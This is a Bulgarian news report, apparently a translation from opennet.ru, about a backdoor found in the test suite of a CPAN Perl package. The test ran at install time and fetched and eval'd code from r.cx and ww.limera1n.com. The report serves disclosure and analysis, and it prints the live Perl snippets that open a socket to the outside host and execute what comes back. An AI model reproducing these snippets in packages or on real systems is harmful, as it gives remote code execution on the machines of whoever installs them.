В разпространяваният чрез каталога CPAN Perl пакет , предназначен за автоматично зареждане на CPAN модули на лето, вредоносен код. Вредоносната вставка беше в тестовия код , който се предлага от 2011 година.
Важно е, че въпросите относно зареждането на съмнителен код са повдигани още през 2016 година.
Вредоносната активност се свежда до опит за зареждане и изпълнение на код от външен сървър (http://r.cx:1/) по време на изпълнението на тестов набор, стартиран при инсталирането на модула. Предполага се, че първоначално зареденият от външния сървър код не е бил вредоносен, но сега запитването е пренасочено към домейна ww.limera1n.com, който отдава своя част от кода за изпълнение.
За организацията на зареждането в файла се използва следният код:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Вказаният код води до изпълнение на скрипта , чийто съдържание се свежда до реда:
use lib do{eval && botstrap(«RCX») if $b = new IO::Socket::INET 82.46.99.88.»:1″};
Този скрипт зарежда чрез услугата код от външен хост r.cx (символните кодове 82.46.99.88 съответстват на текста «R.cX») и го изпълнява в блока eval.
$ perl -MIO::Socket -e '$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;'
eval unpack u=q{_<‘)I;G1[)&(];F5W($E/.CI3;V-K970Z.DE… .}
След разпаковането накрая се изпълнява следното :
print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;eval or return warn$@ while$b;1
В момента проблемният пакет е премахнат от хранилището (Perl Authors Upload Server), а сметката на автора на модула е блокирана. Все пак, модулът остава в архива MetaCPAN и може да бъде инсталиран директно от MetaCPAN с помощта на някои утилити, като cpanminus. , тъй като пакетът не е бил широко разпространен.
Интересно е, че по дискусията и авторът на модула, който опроверга информацията, че вредоносният код е добавен след хакване на сайта му «r.cx», обясни, че просто така се е развлекал, а perlobfuscator.com не е използван за скриване на нещо, а за намаляване на размера на кода и улесняване на копирането му чрез буфера на обмен. Изборът на името на функцията «botstrap» е обяснено с факта, че това звучи като bot и е по-кратко от bootstrap. Авторът на модула също увери, че откритите манипулации не извършват вредоносни действия, а само демонстрират зареждането и изпълнението на код по TCP.
Източник: opennet.ru
